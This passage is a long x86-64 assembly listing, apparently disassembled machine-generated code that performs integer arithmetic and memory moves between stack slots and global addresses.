mov rax, qword [rsp + 0x98e8]
mov ecx, dword [rsp + 0x5068]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f08], eax
mov rax, qword [rsp + 0x9318]
mov qword [rsp + 0xa560], rax
mov rax, qword [0x1401e8a08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x114]
add eax, ecx
mov rcx, qword [rsp + 0x9930]
mov byte [rcx], al
mov rax, qword [rsp + 0xa2f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10e8]
add eax, ecx
mov word [0x1401e70c0], ax
lea rax, [rsp + 0x8d]
mov qword [rsp + 0xa568], rax
mov rax, qword [0x1401e8a78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x78]
add eax, ecx
mov rcx, qword [rsp + 0xa0c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9788]
movzx eax, word [rax]
mov word [rsp + 0x1290], ax
mov rax, qword [rsp + 0x9490]
mov rcx, qword [rsp + 0x9fc8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8d80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9d78]
mov rax, qword [rax]
mov rcx, qword [0x1401e8798]
mov qword [rsp + 0xa570], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa570]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xa3e0]
mov qword [rcx], rax
lea rax, [rsp + 0x5050]
mov qword [rsp + 0xa578], rax
mov rax, qword [rsp + 0x9f60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f8c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f1c], eax
lea rax, [rsp + 0x101c]
mov qword [rsp + 0xa580], rax
movzx eax, byte [rsp + 0x11d]
mov rcx, qword [rsp + 0x8ef0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401e7056], al
mov rax, qword [rsp + 0x8b68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x115]
or eax, ecx
mov byte [rsp + 0x7a], al
mov rax, qword [rsp + 0x9d80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1200]
add eax, ecx
mov word [rsp + 0x10f0], ax
mov rax, qword [rsp + 0xa2d8]
movzx eax, word [rax]
mov word [rsp + 0x1294], ax
mov rax, qword [rsp + 0x8e18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ac0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x113], al
lea rax, [rsp + 0x4f4c]
mov qword [rsp + 0xa588], rax
mov rax, qword [rsp + 0x8de0]
mov rcx, qword [rsp + 0x9150]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8ca8], rax
mov rax, qword [rsp + 0x91c0]
mov rcx, qword [0x1401e7018]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9120]
mov qword [rcx], rax
lea rax, [rsp + 0x4f8c]
mov qword [rsp + 0xa590], rax
movzx eax, word [rsp + 0x126c]
mov rcx, qword [rsp + 0x9870]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e704c], ax
mov rax, qword [rsp + 0x95a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9278]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9938]
mov word [rcx], ax
lea rax, [rsp + 0xb4]
mov qword [rsp + 0xa598], rax
mov rax, qword [rsp + 0x9998]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xde]
sub eax, ecx
mov byte [rsp + 0xf1], al
movsx eax, byte [0x1401e7057]
movsx ecx, byte [rsp + 0x116]
sub eax, ecx
mov byte [rsp + 0xc3], al
lea rax, [rsp + 0x4e68]
mov qword [rsp + 0xa5a0], rax
mov rax, qword [rsp + 0x9c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9680]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa490], rax
lea rax, [0x1401e7010]
mov qword [rsp + 0xa5a8], rax
mov rax, qword [rsp + 0x9f20]
mov ecx, dword [rsp + 0x5054]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4d88], eax
lea rax, [rsp + 0x118c]
mov qword [0x1401e8aa0], rax
movzx eax, word [rsp + 0x10d4]
mov word [rsp + 0x1298], ax
mov rax, qword [0x1401e8810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaa]
add eax, ecx
mov byte [rsp + 0x97], al
movzx eax, byte [rsp + 0x11e]
mov rcx, qword [rsp + 0x8e08]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x95], al
lea rax, [rsp + 0x128c]
mov qword [rsp + 0xa5b0], rax
mov eax, dword [rsp + 0x5000]
movzx ecx, al
mov eax, dword [0x1401e7008]
sar eax, cl
mov dword [rsp + 0x4fa0], eax
lea rax, [rsp + 0x97e0]
mov qword [rsp + 0xa5b8], rax
mov eax, dword [rsp + 0x4e40]
mov ecx, dword [rsp + 0x4f98]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x91e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x91f0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x99f0]
shl rax, cl
mov qword [rsp + 0x9a78], rax
lea rax, [rsp + 0x104c]
mov qword [0x1401e8aa8], rax
mov rax, qword [rsp + 0x9ae0]
movzx eax, byte [rax]
mov byte [rsp + 0x124], al
mov rax, qword [rsp + 0x9bb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9110]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1294], ax
lea rax, [rsp + 0x11a0]
mov qword [rsp + 0xa5c0], rax
movsx eax, byte [rsp + 0xd6]
mov rcx, qword [rsp + 0x94b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb5], al
mov rax, qword [rsp + 0x96a8]
mov eax, dword [rax]
mov ecx, dword [0x1401e7008]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e1c], eax
mov eax, dword [rsp + 0x4f00]
mov dword [rsp + 0x5074], eax
mov rax, qword [rsp + 0x9960]
mov rcx, qword [rsp + 0xa528]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9db0]
mov qword [rcx], rax
lea rax, [0x1401e7018]
mov qword [rsp + 0xa5c8], rax
mov rax, qword [rsp + 0x9a80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1174]
sub eax, ecx
mov word [0x1401e7030], ax
mov rax, qword [rsp + 0x8df0]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e7025]
sub eax, ecx
mov byte [rsp + 0x81], al
movzx eax, word [rsp + 0x1070]
mov word [rsp + 0x129c], ax
movsx eax, byte [rsp + 0x73]
mov rcx, qword [rsp + 0xa530]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x92c0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1174]
movzx ecx, word [0x1401e88c0]
add eax, ecx
mov word [rsp + 0x1204], ax
mov rax, qword [rsp + 0x9130]
mov qword [rsp + 0xa5d0], rax
mov rax, qword [rsp + 0xa090]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e9c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9970]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e90]
mov qword [rsp + 0xa5d8], rax
mov rax, qword [rsp + 0xa200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5034]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5040], eax
lea rax, [rsp + 0xf5]
mov qword [0x1401e8ab0], rax
movsx eax, byte [rsp + 0x79]
mov rcx, qword [rsp + 0x9f58]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x97c0]
mov byte [rcx], al
lea rax, [0x1401e89b8]
mov qword [rsp + 0xa5e0], rax
movzx eax, byte [rsp + 0x90]
mov rcx, qword [rsp + 0x95b8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xe1], al
lea rax, [rsp + 0x127c]
mov qword [rsp + 0xa5e8], rax
mov rax, qword [rsp + 0x8b78]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x4ff8]
mov rcx, qword [rsp + 0x9878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9178]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9028]
mov qword [rsp + 0xa5f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa5f0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4ffc], eax
mov rax, qword [rsp + 0x9490]
mov rax, qword [rax]
mov qword [rsp + 0xa5f8], rax
mov rax, qword [rsp + 0xa240]
mov rcx, qword [rsp + 0x9c98]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa420], rax
movsx eax, byte [rsp + 0xf2]
mov rcx, qword [rsp + 0xa0c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e87a4], al
movzx eax, byte [rsp + 0xd5]
mov byte [rsp + 0x125], al
mov rax, qword [rsp + 0xa310]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9a10]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa518]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10c]
add eax, ecx
mov rcx, qword [rsp + 0x95c8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1170]
mov word [rsp + 0x12a0], ax
mov rax, qword [rsp + 0x9f60]
mov rcx, qword [rsp + 0x9d18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9408]
mov dword [rcx], eax
lea rax, [rsp + 0x9128]
mov qword [rsp + 0xa600], rax
mov rax, qword [rsp + 0x93b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9be0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x95e0], rax
mov eax, dword [0x1401e7008]
mov dword [rsp + 0x5078], eax
mov rax, qword [rsp + 0x9a68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1070]
sub eax, ecx
mov rcx, qword [0x1401e89c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9ed0]
movzx eax, word [rax]
movzx ecx, word [0x1401e7094]
add eax, ecx
mov word [rsp + 0x11b0], ax
mov rax, qword [rsp + 0x95c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9b28]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9270]
mov byte [rcx], al
lea rax, [rsp + 0x97]
mov qword [rsp + 0xa608], rax
movsx eax, word [rsp + 0x1120]
mov rcx, qword [rsp + 0x92e0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9c58]
mov word [rcx], ax
lea rax, [rsp + 0x4ff4]
mov qword [rsp + 0xa610], rax
mov rax, qword [rsp + 0xa338]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa380]
mov qword [rsp + 0xa618], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa618]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9068]
mov qword [rcx], rax
mov rax, qword [rsp + 0x90e0]
mov rcx, qword [rsp + 0xa4a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8e50], rax
mov rax, qword [rsp + 0x9c18]
mov eax, dword [rax]
mov dword [rsp + 0x507c], eax
movzx eax, byte [rsp + 0xa2]
movzx ecx, byte [rsp + 0xda]
sar eax, cl
mov byte [rsp + 0xbe], al
mov rax, qword [rsp + 0x9d88]
movzx eax, word [rax]
mov word [0x1401e8ab8], ax
movzx eax, word [rsp + 0x1250]
mov word [rsp + 0x12a4], ax
mov rax, qword [rsp + 0x9b88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9bc8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8f10]
mov byte [rcx], al
movzx eax, byte [rsp + 0x107]
movzx ecx, byte [str._DM_b]
and eax, ecx
mov byte [rsp + 0xc6], al
mov eax, dword [rsp + 0x4ff4]
mov dword [rsp + 0x5080], eax
mov eax, dword [rsp + 0x4f98]
mov ecx, dword [rsp + 0x5004]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x503c], eax
lea rax, [rsp + 0x9ee8]
mov qword [rsp + 0xa620], rax
mov rax, qword [rsp + 0x9150]
mov rcx, qword [rsp + 0xa2f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9130], rax
movzx eax, word [rsp + 0x1290]
mov rcx, qword [rsp + 0x8de8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11b0], ax
movsx eax, word [rsp + 0x1200]
mov rcx, qword [rsp + 0xa5e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e708c], ax
movzx eax, byte [rsp + 0x97]
mov byte [rsp + 0x126], al
mov rax, qword [rsp + 0xa128]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9a28]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9570]
mov word [rcx], ax
mov rax, qword [rsp + 0x9558]
movzx eax, byte [rax]
mov byte [rsp + 0x127], al
mov eax, dword [rsp + 0x4f10]
mov ecx, dword [rsp + 0x4f38]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9d00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9a00]
mov rax, qword [rax]
mov qword [rsp + 0xa628], rax
mov rax, qword [rsp + 0x9e78]
mov rcx, qword [rsp + 0x9f78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9ee0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9580]
mov ecx, dword [rsp + 0x4e88]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4fc4], eax
movzx eax, byte [rsp + 0xc4]
mov byte [rsp + 0x128], al
lea rax, [rsp + 0x91]
mov qword [0x1401e8ac0], rax
movsx eax, word [rsp + 0x1218]
mov rcx, qword [rsp + 0x9718]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fa8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x100]
mov byte [rsp + 0x129], al
movzx eax, word [rsp + 0x10f8]
movzx ecx, word [rsp + 0x123c]
or eax, ecx
mov word [rsp + 0x102c], ax
mov rax, qword [rsp + 0x9028]
mov ecx, dword [rsp + 0x4f00]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x502c], eax
mov rax, qword [rsp + 0x9320]
mov qword [rsp + 0xa630], rax
mov rax, qword [rsp + 0x9cb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ed0]
mov qword [rsp + 0xa638], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa638]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xa338]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c20]
mov eax, dword [rax]
mov dword [rsp + 0x5084], eax
movzx eax, word [rsp + 0x125c]
mov rcx, qword [rsp + 0x9110]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9788]
mov word [rcx], ax
mov rax, qword [rsp + 0x9fd0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10f]
and eax, ecx
mov byte [0x1401e7067], al
mov rax, qword [rsp + 0x9220]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9618]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x105c], ax
movzx eax, word [rsp + 0x101c]
mov word [rsp + 0x12a8], ax
mov rax, qword [rsp + 0x9558]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11d]
sub eax, ecx
mov rcx, qword [rsp + 0x95d8]
mov byte [rcx], al
lea rax, [rsp + 0x10e4]
mov qword [rsp + 0xa640], rax
mov rax, qword [rsp + 0xa3f8]
mov rcx, qword [rsp + 0xa420]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa160], rax
lea rax, [rsp + 0x4e50]
mov qword [rsp + 0xa648], rax
mov rax, qword [rsp + 0x9488]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa400], rax
mov rax, qword [rsp + 0xa330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4eb4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5080], eax
mov rax, qword [rsp + 0x9388]
movzx eax, word [rax]
mov rcx, qword [0x1401e8878]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e705c], ax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0xa650], rax
mov rax, qword [rsp + 0x9448]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10d]
and eax, ecx
mov byte [rsp + 0x89], al
lea rax, [rsp + 0x1148]
mov qword [rsp + 0xa658], rax
movzx eax, byte [rsp + 0xa5]
mov rcx, qword [rsp + 0x9d60]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x106], al
mov rax, qword [rsp + 0x9c60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f70]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9fe0], rax
mov rax, qword [rsp + 0x98f0]
mov rax, qword [rax]
mov qword [rsp + 0xa660], rax
mov eax, dword [rsp + 0x4ef8]
mov ecx, dword [rsp + 0x4d44]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9178]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa238]
mov eax, dword [rax]
mov dword [rsp + 0x5088], eax
movsx eax, byte [rsp + 0x7f]
mov rcx, qword [0x1401e87b8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401e706a], al
mov rax, qword [rsp + 0x9c00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa1c8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1270], ax
movsx eax, word [rsp + 0x129c]
mov rcx, qword [rsp + 0x9ae8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9848]
mov word [rcx], ax
lea rax, [rsp + 0xf5]
mov qword [rsp + 0xa668], rax
mov rax, qword [rsp + 0x9b80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa6]
and eax, ecx
mov byte [rsp + 0x115], al
lea rax, [rsp + 0x9bd0]
mov qword [rsp + 0xa670], rax
mov rax, qword [rsp + 0xa300]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5058], eax
mov rax, qword [rsp + 0x9078]
mov rcx, qword [rsp + 0x9018]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x93a0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4f68]
mov dword [rsp + 0x508c], eax
mov rax, qword [0x1401e8958]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11c8]
sub eax, ecx
mov rcx, qword [0x1401e88f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x120]
movzx ecx, byte [rsp + 0xdc]
sub eax, ecx
mov byte [rsp + 0x9e], al
lea rax, [rsp + 0xff4]
mov qword [rsp + 0xa678], rax
mov rax, qword [rsp + 0x90e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x119c], ax
mov rax, qword [rsp + 0x9190]
movzx eax, byte [rax]
mov byte [rsp + 0x12a], al
mov rax, qword [rsp + 0x9710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f3c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8fd8]
mov rcx, qword [rsp + 0xa368]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8ff0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9cf0]
mov eax, dword [rax]
mov dword [rsp + 0x5090], eax
mov rax, qword [rsp + 0x8d18]
mov rcx, qword [rsp + 0x9490]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9a08], rax
lea rax, [rsp + 0x1164]
mov qword [0x1401e8ac8], rax
movzx eax, byte [rsp + 0xd8]
mov byte [rsp + 0x12b], al
mov rax, qword [rsp + 0x9b70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e80]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x12a8], ax
movzx eax, byte [rsp + 0xf1]
mov rcx, qword [rsp + 0x9ef0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x9c], al
mov rax, qword [rsp + 0x95f0]
movzx eax, word [rax]
mov word [rsp + 0x12ac], ax
mov rax, qword [rsp + 0x9f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ecc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa538]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9488]
mov rax, qword [rax]
mov qword [rsp + 0xa680], rax
mov rax, qword [rsp + 0x9600]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9fa0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x91d8], rax
mov rax, qword [rsp + 0x8f60]
mov ecx, dword [rsp + 0x4fc8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9588]
mov dword [rcx], eax
mov rax, qword [0x1401e8900]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb3]
sub eax, ecx
mov byte [0x1401e87a2], al
mov rax, qword [rsp + 0xa608]
movzx eax, byte [rax]
mov byte [rsp + 0x12c], al
movzx eax, word [rsp + 0x10dc]
movzx ecx, word [rsp + 0x11c4]
and eax, ecx
mov word [rsp + 0x1214], ax
lea rax, [rsp + 0x73]
mov qword [rsp + 0xa688], rax
movsx eax, word [rsp + 0x1264]
mov rcx, qword [rsp + 0xa220]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1110], ax
mov rax, qword [rsp + 0x9200]
mov qword [rsp + 0xa690], rax
mov rax, qword [rsp + 0xa300]
mov ecx, dword [rsp + 0x4f50]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4d00], eax
mov rax, qword [rsp + 0x9e00]
mov rcx, qword [rsp + 0x9a08]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa1e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9a18]
mov eax, dword [rax]
mov dword [rsp + 0x5094], eax
movsx eax, word [rsp + 0x10ec]
mov rcx, qword [rsp + 0x8ec8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7088], ax
movsx eax, byte [rsp + 0xaf]
movsx ecx, byte [rsp + 0x8b]
add eax, ecx
mov byte [rsp + 0xfa], al
lea rax, [rsp + 0xeb]
mov qword [rsp + 0xa698], rax
movsx eax, word [rsp + 0x1270]
mov rcx, qword [rsp + 0x9240]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9718]
mov word [rcx], ax
movzx eax, byte [rsp + 0x11f]
movzx ecx, byte [rsp + 0xae]
sub eax, ecx
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0x8d08]
mov rax, qword [rax]
mov qword [rsp + 0xa6a0], rax
mov rax, qword [rsp + 0x94a8]
mov rcx, qword [rsp + 0x9e18]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9e40], rax
mov eax, dword [rsp + 0x4e88]
mov dword [rsp + 0x5098], eax
mov rax, qword [rsp + 0xa170]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4e00]
shr eax, cl
mov dword [rsp + 0x4e58], eax
lea rax, [rsp + 0xab]
mov qword [0x1401e8ad0], rax
mov rax, qword [rsp + 0x90c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa2f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8c]
mov byte [rsp + 0x12d], al
mov rax, qword [rsp + 0x97f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa580]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9a98]
mov word [rcx], ax
lea rax, [rsp + 0x113c]
mov qword [rsp + 0xa6a8], rax
mov eax, dword [rsp + 0x4fec]
mov rcx, qword [rsp + 0x94f8]
mov qword [rsp + 0xa6b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa6b0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa330]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9880]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9860]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa1a8], rax
lea rax, [rsp + 0x9790]
mov qword [rsp + 0xa6b8], rax
mov rax, qword [rsp + 0x8f60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e94], eax
lea rax, [0x1401e70b8]
mov qword [rsp + 0xa6c0], rax
lea rax, [rsp + 0xae]
mov qword [0x1401e8ad8], rax
mov rax, qword [rsp + 0x9aa0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c78]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1068], ax
lea rax, [0x1401e7042]
mov qword [rsp + 0xa6c8], rax
movzx eax, byte [rsp + 0x7b]
mov rcx, qword [rsp + 0xa3d0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xc0], al
mov eax, dword [rsp + 0x4ecc]
mov ecx, dword [rsp + 0x4fdc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa0d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa190]
mov qword [rsp + 0xa6d0], rax
mov rax, qword [rsp + 0x91f8]
mov ecx, dword [rsp + 0x4f14]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f7c], eax
mov rax, qword [rsp + 0x90d8]
mov qword [rsp + 0xa6d8], rax
mov rax, qword [rsp + 0x8f80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfa]
sub eax, ecx
mov byte [rsp + 0x128], al
mov rax, qword [rsp + 0x8cc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10c4]
add eax, ecx
mov rcx, qword [0x1401e87e8]
mov word [rcx], ax
movsx eax, word [rsp + 0x10c0]
movsx ecx, word [rsp + 0x1100]
add eax, ecx
mov rcx, qword [rsp + 0x9ae8]
mov word [rcx], ax
lea rax, [0x1401e703f]
mov qword [rsp + 0xa6e0], rax
movzx eax, word [rsp + 0x1204]
movzx ecx, word [rsp + 0x1214]
or eax, ecx
mov word [rsp + 0x120c], ax
mov eax, dword [rsp + 0x4e40]
mov dword [rsp + 0x509c], eax
mov rax, qword [rsp + 0x99d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x91a8]
mov qword [rsp + 0xa6e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa6e8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9200], rax
mov rax, qword [rsp + 0x9880]
mov rcx, qword [rsp + 0x98a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa158], rax
mov eax, dword [rsp + 0x4fec]
mov dword [rsp + 0x50a0], eax
movzx eax, byte [rsp + 0xf5]
mov rcx, qword [rsp + 0x9bf8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9060]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9260]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401e708c], ax
mov rax, qword [rsp + 0x9420]
movzx eax, byte [rax]
mov byte [rsp + 0x12e], al
movzx eax, byte [0x1401e7032]
movzx ecx, byte [rsp + 0xe2]
add eax, ecx
mov rcx, qword [rsp + 0x95d8]
mov byte [rcx], al
movsx eax, word [rsp + 0x11e0]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1178], ax
mov rax, qword [rsp + 0x9040]
mov qword [rsp + 0xa6f0], rax
mov rax, qword [rsp + 0x8bc8]
mov rcx, qword [rsp + 0x91f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa2c0], rax
mov eax, dword [rsp + 0x500c]
mov dword [rsp + 0x50a4], eax
mov rax, qword [rsp + 0x9940]
mov ecx, dword [rsp + 0x4fdc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x93d8]
mov dword [rcx], eax
lea rax, [rsp + 0x89]
mov qword [rsp + 0xa6f8], rax
mov rax, qword [rsp + 0x9d28]
movzx eax, byte [rax]
mov byte [0x1401e87f3], al
mov rax, qword [rsp + 0xa290]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9240]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8e20]
mov word [rcx], ax
mov rax, qword [rsp + 0x9d20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10d8]
add eax, ecx
mov word [rsp + 0x11c8], ax
mov rax, qword [rsp + 0xa5e0]
movzx eax, word [rax]
mov word [rsp + 0x12b0], ax
mov rax, qword [rsp + 0x8c08]
movsx eax, byte [rax]
